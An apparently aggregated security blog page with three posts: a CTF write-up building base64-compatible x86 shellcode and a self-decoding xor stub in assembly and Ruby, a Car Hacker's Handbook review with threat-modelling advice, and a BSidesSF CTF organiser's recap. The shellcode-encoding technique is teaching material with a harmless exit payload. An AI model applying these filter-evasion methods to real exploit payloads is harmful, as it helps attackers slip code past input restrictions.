Loading...

Hey everybody,

A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)

Intro to Shellcode

I don't want to dwell too much on the basics, so I highly recommend reading PRIMER.md, which is a primer on assembly code and shellcode that I recently wrote for a workshop I taught.

The idea behind the challenge is that you send the server arbitrary binary data. That data would be encoded into base64, then the base64 string was run as if it were machine code. That means that your machine code had to be made up of characters in the set [a-zA-Z0-9+/]. You could also have an equal sign ("=") or two on the end, but that's not really useful.

We're going to mostly focus on how to write base64-compatible shellcode, then bring it back to the challenge at the very end.

Assembly instructions

Since each assembly instruction has a 1:1 relationship to the machine code it generates, it'd be helpful to us to get a list of all instructions we have available that stay within the base64 character set.

To get an idea of which instructions are available, I wrote a quick Ruby script that would attempt to disassemble every possible combination of two characters followed by some static data.

I originally did this by scripting out to ndisasm on the commandline, a tool that we'll see used throughout this blog, but I didn't keep that code. Instead, I'm going to use the Crabstone Disassembler, which is Ruby bindings for Capstone:

require 'crabstone'

# Our set of known characters
SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

# Create an instance of the Crabstone Disassembler for 32-bit x86
cs = Crabstone::Disassembler.new(Crabstone::ARCH_X86, Crabstone::MODE_32)

# Get every 2-character combination
SET.chars.each do |c1|
  SET.chars.each do |c2|
    # Pad it out pretty far with obvious no-op-ish instructions
    data = c1 + c2 + ("A" * 14)

    # Disassemble it and get the first instruction (we only care about the
    # shortest instructions we can form)
    instruction = cs.disasm(data, 0)[0]

    puts "%s     %s %s" % [
      instruction.bytes.map() { |b| '%02x' % b }.join(' '),
      instruction.mnemonic.to_s,
      instruction.op_str.to_s
    ]
  end
end

I'd probably do it considerably more tersely in irb if I was actually solving a challenge rather than writing a blog, but you get the idea. :)

Anyway, running that produces quite a lot of output. We can feed it through sort + uniq to get a much shorter version.

From there, I manually went through the full 2000+ element list to figure out what might actually be useful (since the vast majority were basically identical, that's easier than it sounds). I moved all the good stuff to the top and got rid of the stuff that's useless for writing a decoder stub. That left me with this list. I left in a bunch of stuff (like multiply instructions) that probably wouldn't be useful, but that I didn't want to completely discount.

Dealing with a limited character set

When you write shellcode, there are a few things you have to do. At a minimum, you almost always have to change registers to fairly arbitrary values (like a command to execute, a file to read/write, etc) and make syscalls ("int 0x80" in assembly or "\xcd\x80" in machine code; we'll see how that winds up being the most problematic piece!).

For the purposes of this blog, we're going to have 12 bytes of shellcode: a simple call to the sys_exit() syscall, with a return code of 0x41414141. The reason is, it demonstrates all the fundamental concepts (setting variables and making syscalls), and is easy to verify as correct using strace

Here's the shellcode we're going to be working with:

mov eax, 0x01 ; Syscall 1 = sys_exit
mov ebx, 0x41414141 ; First (and only) parameter: the exit code
int 0x80

We'll be using this code throughout, so make sure you have a pretty good grasp of it! It assembles to (on Ubuntu, if this fails, try apt-get install nasm):

$ echo -e 'bits 32\n\nmov eax, 0x01\nmov ebx, 0x41414141\nint 0x80\n' > file.asm; nasm -o file file.asm
$ hexdump -C file
00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |............|

If you want to try running it, you can use my run_raw_code.c utility (there are plenty just like it):

$ strace ./run_raw_code file
[...]
read(3, "\270\1\0\0\0\273AAAA\315\200", 12) = 12
exit(1094795585)                        = ?

The read() call is where the run_raw_code stub is reading the shellcode file. The 1094795585 in exit() is the 0x41414141 that we gave it. We're going to see that value again and again and again, as we evaluate the correctness of our code, so get used to it!

You can also prove that it disassembles properly, and see what each line becomes using the ndisasm utility (this is part of the nasm package):

$ ndisasm -b32 file
00000000  B801000000        mov eax,0x1
00000005  BB41414141        mov ebx,0x41414141
0000000A  CD80              int 0x80
Easy stuff: NUL byte restrictions

Let's take a quick look at a simple character restriction: NUL bytes. It's commonly seen because NUL bytes represent string terminators. Functions like strcpy() stop copying when they reach a NUL. Unlike base64, this can be done by hand!

It's usually pretty straight forward to get rid of NUL bytes by just looking at where they appear and fixing them; it's almost always the case that it's caused by 32-bit moves or values, so we can just switch to 8-bit moves (using eax is 32 bits; using al, the last byte of eax, is 8 bits):

xor eax, eax ; Set eax to 0
inc eax ; Increment eax (set it to 1) - could also use "mov al, 1", but that's one byte longer
mov ebx, 0x41414141 ; Set ebx to the usual value, no NUL bytes here
int 0x80 ; Perform the syscall

We can prove this works, as well (I'm going to stop showing the echo as code gets more complex, but I use file.asm throughout):

$ echo -e 'bits 32\n\nxor eax, eax\ninc eax\nmov ebx, 0x41414141\nint 0x80\n'> file.asm; nasm -o file file.asm
$ hexdump -C file
00000000  31 c0 40 bb 41 41 41 41  cd 80                    |1.@.AAAA..|

Simple!

Clearing eax in base64

Something else to note: our shellcode is now largely base64! Let's look at the disassembled version so we can see where the problems are:

$ ndisasm -b32 file                               65 [11:16:34]
00000000  31C0              xor eax,eax
00000002  40                inc eax
00000003  BB41414141        mov ebx,0x41414141
00000008  CD80              int 0x80

Okay, maybe we aren't so close: the only line that's actually compatible is "inc eax". I guess we can start the long journey!

Let's start by looking at how we can clear eax using our instruction set. We have a few promising instructions for changing eax, but these are the ones I like best:

  • 35 ?? ?? ?? ?? xor eax,0x????????
  • 68 ?? ?? ?? ?? push dword 0x????????
  • 58 pop eax

Let's start with the most naive approach:

push 0
pop eax

If we assemble that, we get:

00000000  6A00              push byte +0x0
00000002  58                pop eax

Close! But because we're pushing 0, we end up with a NUL byte. So let's push something else:

push 0x41414141
pop eax

If we look at how that assembles, we get:

00000000  68 41 41 41 41 58                                 |hAAAAX|

Not only is it all Base64 compatible now, it also spells "hAAAAX", which is a fun coincidence. :)

The problem is, eax doesn't end up as 0, it's 0x41414141. You can verify this by adding "int 3" at the bottom, dumping a corefile, and loading it in gdb (feel free to use this trick throughout if you're following along, I'm using it constantly to verify my code snippings, but I'll only show it when the values are important):

$ ulimit -c unlimited
$ rm core
$ cat file.asm
bits 32

push 0x41414141
pop eax
int 3
$ nasm -o file file.asm
$ ./run_raw_code ./file
allocated 8 bytes of executable memory at: 0x41410000
fish: “./run_raw_code ./file” terminated by signal SIGTRAP (Trace or breakpoint trap)
$ gdb ./run_raw_code ./core
Core was generated by `./run_raw_code ./file`.
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0  0x41410008 in ?? ()
(gdb) print/x $eax
$1 = 0x41414141

Anyway, if we don't like the value, we can xor a value with eax, provided that the value is also base64-compatible! So let's do that:

push 0x41414141
pop eax
xor eax, 0x41414141

Which assembles to:

00000000  68 41 41 41 41 58 35 41  41 41 41                 |hAAAAX5AAAA|

All right! You can verify using the debugger that, at the end, eax is, indeed, 0.

Encoding an arbitrary value in eax

If we can set eax to 0, does that mean we can set it to anything?

Since xor works at the byte level, the better question is: can you xor two base-64-compatible bytes together, and wind up with any byte?

Turns out, the answer is no. Not quite. Let's look at why!

We'll start by trying a pure bruteforce (this code is essentially from my solution):

SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
def find_bytes(b)
  SET.bytes.each do |b1|
    SET.bytes.each do |b2|
      if((b1 ^ b2) == b)
        return [b1, b2]
      end
    end
  end
  puts("Error: Couldn't encode 0x%02x!" % b)
  return nil
end

0.upto(255) do |i|
  puts("%x => %s" % [i, find_bytes(i)])
end

The full output is here, but the summary is:

0 => [65, 65]
1 => [66, 67]
2 => [65, 67]
3 => [65, 66]
...
7d => [68, 57]
7e => [70, 56]
7f => [70, 57]
Error: Couldn't encode 0x80!
80 =>
Error: Couldn't encode 0x81!
81 =>
Error: Couldn't encode 0x82!
82 =>
...

Basically, we can encode any value that doesn't have the most-significant bit set (ie, anything under 0x80). That's going to be a problem that we'll deal with much, much later.

Since many of our instructions operate on 4-byte values, not 1-byte values, we want to operate in 4-byte chunks. Fortunately, xor is byte-by-byte, so we just need to treat it as four individual bytes:

def get_xor_values_32(desired)
  # Convert the integer into a string (pack()), then into the four bytes
  b1, b2, b3, b4 = [desired].pack('N').bytes()

  v1 = find_bytes(b1)
  v2 = find_bytes(b2)
  v3 = find_bytes(b3)
  v4 = find_bytes(b4)

  # Convert both sets of xor values back into integers
  result = [
    [v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(),
    [v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(),
  ]


  # Note: I comment these out for many of the examples, simply for brevity
  puts '0x%08x' % result[0]
  puts '0x%08x' % result[1]
  puts('----------')
  puts('0x%08x' % (result[0] ^ result[1]))
  puts()

  return result
end

This function takes a single 32-bit value and it outputs the two xor values (note that this won't work when the most significant bit is set.. stay tuned for that!):

irb(main):039:0> get_xor_values_32(0x01020304)
0x42414141
0x43434245
----------
0x01020304

=> [1111572801, 1128481349]

irb(main):040:0> get_xor_values_32(0x41414141)
0x6a6a6a6a
0x2b2b2b2b
----------
0x41414141

=> [1785358954, 724249387]

And so on.

So if we want to set eax to 0x00000001 (for the sys_exit syscall), we can simply feed it into this code and convert it to assembly:

get_xor_values_32(0x01)
0x41414142
0x41414143
----------
0x00000001

=> [1094795586, 1094795587]

Then write the shellcode:

push 0x41414142
pop eax
xor eax, 0x41414143

And prove to ourselves that it's base-64-compatible; I believe in doing this, because every once in awhile an instruction like "inc eax" (which becomes '@') will slip in when I'm not paying attention:

$ hexdump -C file
00000000  68 42 41 41 41 58 35 43  41 41 41                 |hBAAAX5CAAA|

We'll be using that exact pattern a lot - push (value) / pop eax / xor eax, (other value). It's the most fundamental building block of this project!

Setting other registers

Sadly, unless I missed something, there's no easy way to set other registers. We can increment or decrement them, and we can pop values off the stack into some of them, but we don't have the ability to xor, mov, or anything else useful!

There are basically three registers that we have easy access to:

  • 58 pop eax
  • 59 pop ecx
  • 5A pop edx

So to set ecx to an arbitrary value, we can do it via eax:

push 0x41414142
pop eax
xor eax, 0x41414143 ; eax -> 1
push eax
pop ecx ; ecx -> 1

Then verify the base64-ness:

$ hexdump -C file
00000000  68 42 41 41 41 58 35 43  41 41 41 50 59           |hBAAAX5CAAAPY|

Unfortunately, if we try the same thing with ebx, we hit a non-base64 character:

$ hexdump -C file
00000000  68 42 41 41 41 58 35 43  41 41 41 50 5b           |hBAAAX5CAAAP[|

Note the "[" at the end - that's not in our character set! So we're pretty much limited to using eax, ecx, and edx for most things.

But wait, there's more! We do, however, have access to popad. The popad instruction pops the next 8 things off the stack and puts them in all 8 registers. It's a bit of a scorched-earth method, though, because it overwrites all registers. We're going to use it at the start of our code to zero-out all the registers.

Let's try to convert our exit shellcode from earlier:

mov eax, 0x01 ; Syscall 1 = sys_exit
mov ebx, 0x41414141 ; First (and only) parameter: the exit code
int 0x80

Into something that's base-64 friendly:

; We'll start by populating the stack with 0x41414141's
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141

; Then popad to set all the registers to 0x41414141
popad

; Then set eax to 1
push 0x41414142
pop eax
xor eax, 0x41414143

; Finally, do our syscall (as usual, we're going to ignore the fact that the syscall isn't base64 compatible)
int 0x80

Prove that it uses only base64 characters (except the syscall):

$ hexdump -C file
00000000  68 41 41 41 41 68 41 41  41 41 68 41 41 41 41 68  |hAAAAhAAAAhAAAAh|
00000010  41 41 41 41 68 41 41 41  41 68 41 41 41 41 68 41  |AAAAhAAAAhAAAAhA|
00000020  41 41 41 68 41 41 41 41  61 68 42 41 41 41 58 35  |AAAhAAAAahBAAAX5|
00000030  43 41 41 41 cd 80                                 |CAAA..|

And prove that it still works:

$ strace ./run_raw_code ./file
...
read(3, "hAAAAhAAAAhAAAAhAAAAhAAAAhAAAAhA"..., 54) = 54
exit(1094795585)                        = ?
Encoding the actual code

You've probably noticed by now: this is a lot of work. Especially if you want to set each register to a different non-base64-compatible value! You have to encode each value by hand, making sure you set eax last (because it's our working register). And what if you need an instruction (like add, or shift) that isn't available? Do we just simulate it?

As I'm sure you've noticed, the machine code is just a bunch of bytes. What's stopping us from simply encoding the machine code rather than just values?

Let's take our original example of an exit again:

mov eax, 0x01 ; Syscall 1 = sys_exit
mov ebx, 0x41414141 ; First (and only) parameter: the exit code
int 0x80

Because 'mov' assembles to 0xb8XXXXXX, I don't want to deal with that yet (the most-significant bit is set). So let's change it a bit to keep each byte (besides the syscall) under 0x80:

00000000  6A01              push byte +0x1
00000002  58                pop eax
00000003  6841414141        push dword 0x41414141
00000008  5B                pop ebx

Or, as a string of bytes:

"\x6a\x01\x58\x68\x41\x41\x41\x41\x5b"

Let's pad that to a multiple of 4 so we can encode in 4-byte chunks (we pad with 'A', because it's as good a character as any):

"\x6a\x01\x58\x68\x41\x41\x41\x41\x5b\x41\x41\x41"

then break that string into 4-byte chunks, encoding as little endian (reverse byte order):

  • 6a 01 58 68 -> 0x6858016a
  • 41 41 41 41 -> 0x41414141
  • 5b 41 41 41 -> 0x4141415b

Then run each of those values through our get_xor_values_32() function from earlier:

irb(main):047:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x6858016a)
0x43614241 ^ 0x2b39432b

irb(main):048:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41414141)
0x6a6a6a6a ^ 0x2b2b2b2b

irb(main):050:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x4141415b)
0x6a6a6a62 ^ 0x2b2b2b39

Let's start our decoder by simply calculating each of these values in eax, just to prove that they're all base64-compatible (note that we are simply discarding the values in this example, we aren't doing anything with them quite yet):

push 0x43614241
pop eax
xor eax, 0x2b39432b ; 0x6858016a

push 0x6a6a6a6a
pop eax
xor eax, 0x2b2b2b2b ; 0x41414141

push 0x6a6a6a62
pop eax
xor eax, 0x2b2b2b39 ; 0x4141415b

Which assembles to:

$ hexdump -Cv file
00000000  68 41 42 61 43 58 35 2b  43 39 2b 68 6a 6a 6a 6a  |hABaCX5+C9+hjjjj|
00000010  58 35 2b 2b 2b 2b 68 62  6a 6a 6a 58 35 39 2b 2b  |X5++++hbjjjX59++|
00000020  2b                                                |+|

Looking good so far!

Decoder stub

Okay, we've proven that we can encode instructions (without the most significant bit set)! Now we actually want to run it!

Basically: our shellcode is going to start with a decoder, followed by a bunch of encoded bytes. We'll also throw some padding in between to make this easier to do by hand. The entire decoder has to be made up of base64-compatible bytes, but the encoded payload (ie, the shellcode) has no restrictions.

So now we actually want to alter the shellcode in memory (self-rewriting code!). We need an instruction to do that, so let's look back at the list of available instructions! After some searching, I found one that's promising:

3151??            xor [ecx+0x??],edx

This command xors the 32-bit value at memory address ecx+0x?? with edx. We know we can easily control ecx (push (value) / pop eax / xor (other value) / push eax / pop ecx) and, similarly edx. Since the "0x??" value has to also be a base64 character, we'll follow our trend and use [ecx+0x41], which gives us:

315141            xor [ecx+0x41],edx

Once I found that command, things started coming together! Since I can control eax, ecx, and edx pretty cleanly, that's basically the perfect instruction to decode our shellcode in-memory!

This is somewhat complex, so let's start by looking at the steps involved:

  • Load the encoded shellcode (half of the xor pair, ie, the return value from get_xor_values_32()) into a known memory address (in our case, it's going to be 0x141 bytes after the start of our code)
  • Set ecx to the value that's 0x41 bytes before that encoded shellcode (0x100)
  • For each 32-bit pair in the encoded shellcode...
    • Load the other half of the xor pair into edx
    • Do the xor to alter it in-memory (ie, decode it back to the original, unencoded value)
    • Increment ecx to point at the next value
    • Repeat for the full payload
  • Run the newly decoded payload

For the sake of our sanity, we're going to make some assumptions in the code: first, our code is loaded to the address 0x41410000 (which it is, for this challenge). Second, the decoder stub is exactly 0x141 bytes long (we will pad it to get there). Either of these can be easily worked around, but it's not necessary to do the extra work in order to grok the decoder concept.

Recall that for our sys_exit shellcode, the xor pairs we determined were: 0x43614241 ^ 0x2b39432b, 0x6a6a6a6a ^ 0x2b2b2b2b, and 0x6a6a6a62 ^ 0x2b2b2b39.

Here's the code:

; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
push 0x6a6a4241
pop eax
xor eax, 0x2b2b4341 ; eax -> 0x41410100
push eax
pop ecx ; ecx -> 0x41410100

; Set edx to the first value in the first xor pair
push 0x43614241
pop edx

; xor it with the second value in the first xor pair (which is at ecx + 0x41)
xor [ecx+0x41], edx

; Move ecx to the next 32-bit value
inc ecx
inc ecx
inc ecx
inc ecx

; Set edx to the first value in the second xor pair
push 0x6a6a6a6a
pop edx

; xor + increment ecx again
xor [ecx+0x41], edx
inc ecx
inc ecx
inc ecx
inc ecx

; Set edx to the first value in the third and final xor pair, and xor it
push 0x6a6a6a62
pop edx
xor [ecx+0x41], edx

; At this point, I assembled the code and counted the bytes; we have exactly 0x30 bytes of code so far. That means to get our encoded shellcode to exactly 0x141 bytes after the start, we need 0x111 bytes of padding ('A' translates to inc ecx, so it's effectively a no-op because the encoded shellcode doesn't care what ecx starts as):
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAA'

; Now, the second halves of our xor pairs; this is what gets modified in-place
dd 0x2b39432b
dd 0x2b2b2b2b
dd 0x2b2b2b39

; And finally, we're going to cheat and just do a syscall that's non-base64-compatible
int 0x80

All right! Here's what it gives us; note that other than the syscall at the end (we'll get to that, I promise!), it's all base64:

$ hexdump -Cv file
00000000  68 41 42 6a 6a 58 35 41  43 2b 2b 50 59 68 41 42  |hABjjX5AC++PYhAB|
00000010  61 43 5a 31 51 41 41 41  41 41 68 6a 6a 6a 6a 5a  |aCZ1QAAAAAhjjjjZ|
00000020  31 51 41 41 41 41 41 68  62 6a 6a 6a 5a 31 51 41  |1QAAAAAhbjjjZ1QA|
00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000070  41 41 41 41 41 41 41..
Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

So, this is going to be a bit of an unusual blog for me. I usually focus on technical stuff, exploitation, hacking, etc. But this post will be a mixture of a book review, some discussion on my security review process, and whatever asides fall out of my keyboard when I hit it for long enough. But, don't fear! I have a nice heavy technical blog ready to go for tomorrow!

Introduction

Let's kick this off with some pointless backstory! Skip to the next <h1> heading if you don't care how this blog post came about. :)

So, a couple years ago, I thought I'd give Audible a try, and read (err, listen to) some Audiobooks. I was driving from LA to San Francisco, and picked up a fiction book (one of Terry Pratchett's books in the Tiffany Aching series). I hated it (the audio experience), but left Audible installed and my account active.

A few months ago, on a whim, I figured I'd try a non-fiction book. I picked up NOFX's book, "The Hepatitis Bathtub and Other Stories". It was read by the band members and it was super enjoyable to listen while walking and exercising! And, it turns out, Audible had been giving me credits for some reason, and I have like 15 free books or something that I've been consuming like crazy.

Since my real-life friends are sick of listening to me talk about all books I'm reading, I started amusing myself by posting mini-reviews on Facebook, which got some good feedback.

That got me thinking: writing book reviews is kinda fun!

Then a few days ago, I was talking to a publisher friend at Rocky Mountain books , and he mentioned how he there's a reviewer who they sent a bunch of books to, and who didn't write any reviews. My natural thought was, "wow, what a jerk!".

Then I remembered: I'd promised No Starch that I'd write about The Car Hacker's Handbook like two years ago, and totally forgot. Am I the evil scientist jerk?

So now, after re-reading the book, you get to hear my opinions. :)

Threat Models

I've never really written about a technical book before, at least, not to a technical audience. So bear with this stream-of-consciousness style. :)

I think my favourite part of the book is the layout. When writing a book about car hacking to a technical audience, there's always a temptation to start with the "cool stuff" - protocols, exploits, stuff like that. It's also easy to forget about the varied level of your audience, and to assume knowledge. Since I have absolutely zero knowledge about car hacking (or cars, for that matter; my proudest accomplishment is filling the washer fluid by the third try and pulling up to the correct side of the gas pumps), I was a little worried.

At my current job (and previous one), I do product security reviews. I go through the cycle of: "here's something you've never seen before: ramp up, become an expert, and give us good advice. You have one week". If you ever have to do this, here's my best advice: just ask the engineers where they think the security problems are. In 5 minutes of casual conversation, you can find all the problems in a system and look like a hero. I love engineers. :)

But what happens when the engineers don't have security experience, or take an adversarial approach? Or when you want a more thorough / complete review?

That's how I learned to make threat models! Threat models are simply a way to discover the "attack surface", which is where you need to focus your attention as a reviewer (or developer). If you Google the term, you'll find lots of technical information on the "right way" to make a threat model. You might hear about STRIDE (spoofing/tampering/repudiation/information disclosure/denial of service/escalation of privileges). When I tried to use that, I tended to always get stuck on the same question: "what the heck IS 'repudiation', anyways?".

But yeah, that doesn't really matter. I use STRIDE to help me come up with questions and scenarios, but I don't do anything more formal than that.

If you are approaching a new system, and you want a threat model, here's what you do: figure out (or ask) what the pieces are, and how they fit together. The pieces could be servers, processes, data levels, anything like that; basically, things with a different "trust level", or things that shouldn't have full unfettered access to each other (read, or write, or both).

Once you have all that figured out, look at each piece and each connection between pairs of pieces and try to think of what can go wrong. Is plaintext data passing through an insecure medium? Is the user authentication/authorization happening in the right place? Is the traffic all repudiatable (once we figure out what that means)? Can data be forged? Or changed?

It doesn't have to be hard. It doesn't have to match any particular standard. Just figure out what the pieces are and where things can go wrong. If you start there, the rest of a security review is much, much easier for both you and the engineers you're working with. And speaking of the engineers: it's almost always worth the time to work together with engineers to develop a threat model, because they'll remember it next time.

Anyway, getting back to the point: that's the exact starting point that the Car Hacker's Handbook takes! The very first chapter is called "Understanding Threat Models". It opens by taking a "bird's eye view" of a car's systems, and talking about the big pieces: the cellular receiver, the Bluetooth, the wifi, the "infotainment" console, and so on. All these pieces that I was vaguely aware of in my car, but didn't really know the specifics of.

It then breaks them down into the protocols they use, what the range is, and how they're parsed. For example, the Bluetooth is "near range", and is often handled by "Bluez". USB is, obviously, a cable connection, and is typically handled by udev in the kernel. And so on.

Then they look at the potential threats: remotely taking over a vehicle, unlocking it, stealing it, tracking it, and so on.

For every protocol, it looks at every potential threat and how it might be affected.

This is the perfect place to start! The authors made the right choice, no doubt about it!

(Sidenote: because the rule of comedy is that 3 references to something is funnier than 2, and I couldn't find a logical third place to mention it, I just want to say "repudiation" again.)

Protocols

If you read my blog regularly, you know that I love protocols. The reason I got into information security in the first place was by reverse engineering Starcraft's game protocol and implementing and documenting it (others had reversed it before, but nobody had published the information).

So I found the section on protocols intriguing! It's not like the olden days, when every protocol was custom and proprietary and weird: most of the protocols are well documented, and it just requires the right hardware to interface with it.

I don't want to dwell on this too much, but the book spends a TON of time talking about how to find physical ports, sniff protocols, understand what you're seeing, and figure out how to do things like unlock your doors in a logical, step-by-step manner. These protocols are all new to me, but I loved the logical approach that they took throughout the protocol chapters. For somebody like me, having no experience with car hacking or even embedded systems, it was super easy to follow and super informative!

It's good enough that I wanted to buy a new car just so I could hack it. Unfortunately, my accountant didn't think I'd be able to write it off as a business expense. :(

Attacks

After going over the protocols, the book moves to attacks. I had just taken a really good class on hardware exploitation, and many of the same principles applied: dumping firmware, reverse engineering it, and exploring the attack surfaces.

Not being a hardware guy, I don't really want to attempt to reproduce this part in any great detail. It goes into a ton of detail on building out a lab, exploring attack surfaces (like the "infotainment" system, vehicle-to-vehicle communication, and even using SDR (software defined radio) to eavesdrop and inject into the wireless communication streams).

Conclusion

So yeah, this book is definitely well worth the read!

The progression is logical, and it's an incredible introduction, even for somebody with absolutely no knowledge of cars or embedded systems!

Also: I'd love to hear feedback on this post! I'm always looking for new things to write about, and if people legitimately enjoy hearing about the books I read, I'll definitely do more of this!

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 
SkullSecurity by Ron Bowes - 1y ago

Welcome!

While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.

The goal of this post is to explain a little bit of the motivation behind the challenges I wrote, and to give basic solutions. It's not going to have a step-by-step walkthrough of each challenge - though you might find that in the writeups list - but, rather, I'll cover what I intended to teach, and some interesting (to me :) ) trivia.

If you want to see the source of the challenges, our notes, and mostly everything else we generated as part of creating this CTF, you can find them here:

  • Original sourcecode on github
  • Google Drive notes (note that that's not the complete set of notes - some stuff (like comments from our meetings, brainstorming docs, etc) are a little too private, and contain ideas for future challenges :) )

Part of my goal for releasing all of our source + planning documents + deployment files is to a) show others how a CTF can be run, and b) encourage other CTF developers to follow suit and release their stuff!

As of the writing, the scoreboard and challenges are still online. We plan to keep them around for a couple more days before finally shutting them down.

Infrastructure

The rest of my team can most definitely confirm this: I'm not an infrastructure kinda guy. I was happy to write challenges, and relied on others for infrastructure bits. The only thing I did was write a Dockerfile for each of my challenges.

As such, I'll defer to my team on this part. I'm hoping that others on my team will post more details about the configurations, which I'll share on my Twitter feed. You can also find all the Dockerfiles and deployment scripts on our Github repository.

What I do know is, we used:

  • Googles CTF Scoreboard running on AppEngine for our scoreboard
  • Dockerfiles for each challenge that had an online component, and Docker for testing
  • docker-compose for testing
  • Kubernetes for deployment
  • Google Container Engine for running all of that in The Cloud

As I said, all the configurations are on Github. The infrastructure worked great, though, we had absolutely no traffic or load problems, and only very minor other problems.

I'm also super excited that Google graciously sponsored all of our Google Cloud expenses! The CTF weekend cost us roughly $500 - $600, and as of now we've spent a little over $800.

Players

Just a few numbers:

  • We had 728 teams register
  • We had 531 teams score at least one point
  • We had 354 teams score at least 100 points
  • We had 23 teams submit at least one on-site flag (presumably, that many teams played on-site)

Also, the top-10 teams were:

  • dcua :: 6773
  • OpenToAll :: 5178
  • scryptos :: 5093
  • Dragon Sector :: 4877
  • Antichat :: 4877
  • p4 :: 4777
  • khack40 :: 4677
  • squareroots :: 4643
  • ASIS :: 4427
  • Ox002147 :: 4397

The top-10 teams on-site were:

  • OpenToAll :: 5178
  • ▣ :: 3548
  • hash_slinging_hackers :: 3278
  • NeverTry :: 2912
  • 0x41434142 :: 2668
  • DevOps Solution :: 1823
  • Shadow Cats :: 1532
  • HOW BOU DAH :: 1448
  • Newbie :: 762
  • CTYS :: 694

The full list can be found on our CTFTime.org page.

On-site challenges

We had three on-site challenges (none of them created by me):

on-sight [1]

This was a one-point challenge designed simply to determine who's eligible for on-site prizes. We had to flag taped to the wall. Not super interesting. :)

(Speaking of prizes, I want to give a shout out to Synack for providing some prizes, and in particular to working with us on a fairly complex set-up for dealing with said prizes. :)

Shared Secrets [250]

The Shared Secrets challenge was a last-minute idea. We wanted more on-site challenges, and others on the CTF organizers team came up with Shamir Shared Secret Scheme. We posted QR Codes containing pieces of a secret around the venue.

It was a "3 of 6" scheme, so only three were actually needed to get the secret.

The quotes on top of each image try to push people towards either "Shamir" or "ACM 22(11)". My favourite was, "Hi, hi, howdy, howdy, hi, hi! While everyone is minus, you could call me multiply", which is a line from a Shamir (the rapper) song. I did not determine if Shamir the rapper and Shamir the cryptographer were the same person. :)

Locker [150]

Locker is really cool! We basically set up a padlock with an Arduino and a receipt printer. After successfully picking the lock, you'd get a one-time-use flag printed out by the printer.

(We had some problems with submitting the flag early-on, because we forgot to build the database for the one-time-use flags, but got that resolved quickly!)

@bmenrigh developed the lock post, which detected the lock opening, and @matir developed the software for the receipt printer.

My challenges

I'm not going to go over others' challenges, other than the on-site ones I already covered, I don't have the insight to make comments on them. However, I do want to cover all my challenges. Not a ton of detail, but enough to understand the context. I'll likely blog about a couple of them specifically later.

I probably don't need to say it, but: challenge spoilers coming!

'easy' challenges [10-40]

I wrote a series of what I called 'easy' challenges. They don't really have a trick to them, but teach a fundamental concept necessary to do CTFs. They're also a teaching tool that I plan to use for years to come. :)

easy [10] - a couldn't-be-easier reversing challenge. Asks for a password then prints out a flag. You can get both the password and the flag by running strings on the binary.

easyauth [30] - a web challenge that sets a cookie, and tells you it's setting a cookie. The cookie is simply 'username=guest'. If you change the cookie to 'username=administrator', you're given the flag. This is to force people to learn how to edit cookies in their browser.

easyshell [30] and easyshell64 [30] - these are both simple programs where you can send it shellcode, and they run it. It requires the player to figure out what shellcode is and how to use it (eg, from msfvenom or an online shellcode database). There's both a 32- and a 64-bit version, as well.

easyshell and easyshell64 are also good ways to test shellcode, and a place where people can grab libc binaries, if needed.

And finally, easycap [40] is a simple packet capture, where a flag is sent across the network one packet at a time. I didn't keep my generator, but it's essentially a ruby script that would do a s.send() on each byte of a string.

skipper [75] and skipper2 [200]

Now, we're starting to get into some of the levels that require some amount of specialized knowledge. I wrote skipper and skipper2 for an internal company CTF a long time ago, and have kept them around as useful teaching tools.

